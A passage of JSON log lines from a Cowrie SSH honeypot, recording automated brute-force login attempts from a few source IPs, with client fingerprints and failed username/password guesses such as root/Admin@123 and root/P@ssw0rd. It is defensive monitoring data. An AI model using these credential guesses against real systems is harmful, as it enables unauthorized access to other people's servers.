{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:40.786015Z","src_ip":"91.92.42.227","session":"73850ccfbc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:40.792509Z","src_ip":"91.92.42.227","session":"73850ccfbc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56624,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3297a38e5a8","protocol":"ssh","message":"New connection: 45.156.87.147:56624 (10.17.0.5:22) [session: d3297a38e5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:42.338414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:42.342748Z","src_ip":"45.156.87.147","session":"d3297a38e5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:42.424711Z","src_ip":"45.156.87.147","session":"d3297a38e5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2bfa4465df9","protocol":"ssh","message":"New connection: 103.122.221.179:58434 (10.17.0.5:22) [session: b2bfa4465df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:42.530216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:42.534570Z","src_ip":"103.122.221.179","session":"b2bfa4465df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:42.616013Z","src_ip":"91.92.42.227","session":"73850ccfbc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:42.683317Z","src_ip":"45.156.87.147","session":"d3297a38e5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:42.784710Z","src_ip":"103.122.221.179","session":"b2bfa4465df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:43.539866Z","src_ip":"103.122.221.179","session":"b2bfa4465df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:43.768699Z","src_ip":"45.156.87.147","session":"d3297a38e5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:43.856483Z","src_ip":"91.92.42.227","session":"73850ccfbc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:44.792965Z","src_ip":"103.122.221.179","session":"b2bfa4465df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56634,"dst_ip":"10.17.0.5","dst_port":22,"session":"882affefd739","protocol":"ssh","message":"New connection: 45.156.87.147:56634 (10.17.0.5:22) [session: 882affefd739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:47.359937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:47.366453Z","src_ip":"45.156.87.147","session":"882affefd739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:47.448681Z","src_ip":"45.156.87.147","session":"882affefd739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:47.695213Z","src_ip":"45.156.87.147","session":"882affefd739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42442,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bdd509b9db6","protocol":"ssh","message":"New connection: 91.92.42.227:42442 (10.17.0.5:22) [session: 1bdd509b9db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:48.125583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:48.171964Z","src_ip":"91.92.42.227","session":"1bdd509b9db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:48.264251Z","src_ip":"91.92.42.227","session":"1bdd509b9db6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"51nGleD","message":"login attempt [sdadmin/51nGleD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:48.731690Z","src_ip":"91.92.42.227","session":"1bdd509b9db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:48.788209Z","src_ip":"45.156.87.147","session":"882affefd739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:49.884907Z","src_ip":"91.92.42.227","session":"1bdd509b9db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41614,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb7b35313b23","protocol":"ssh","message":"New connection: 45.156.87.147:41614 (10.17.0.5:22) [session: bb7b35313b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:52.466777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:52.470986Z","src_ip":"45.156.87.147","session":"bb7b35313b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:52.551970Z","src_ip":"45.156.87.147","session":"bb7b35313b23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:52.803034Z","src_ip":"45.156.87.147","session":"bb7b35313b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:53.889281Z","src_ip":"45.156.87.147","session":"bb7b35313b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42488,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee58e63380a4","protocol":"ssh","message":"New connection: 91.92.42.227:42488 (10.17.0.5:22) [session: ee58e63380a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:54.449427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:54.647081Z","src_ip":"91.92.42.227","session":"ee58e63380a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:54.650379Z","src_ip":"91.92.42.227","session":"ee58e63380a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:56.257813Z","src_ip":"91.92.42.227","session":"ee58e63380a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41630,"dst_ip":"10.17.0.5","dst_port":22,"session":"1414d55685e9","protocol":"ssh","message":"New connection: 45.156.87.147:41630 (10.17.0.5:22) [session: 1414d55685e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:57.538627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:57.543358Z","src_ip":"45.156.87.147","session":"1414d55685e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:57.547160Z","src_ip":"91.92.42.227","session":"ee58e63380a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:57.625684Z","src_ip":"45.156.87.147","session":"1414d55685e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:57.873949Z","src_ip":"45.156.87.147","session":"1414d55685e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:58.958215Z","src_ip":"45.156.87.147","session":"1414d55685e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49348,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ce0bc5f996f","protocol":"ssh","message":"New connection: 91.92.42.227:49348 (10.17.0.5:22) [session: 0ce0bc5f996f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:01.252103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:01.605810Z","src_ip":"91.92.42.227","session":"0ce0bc5f996f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.c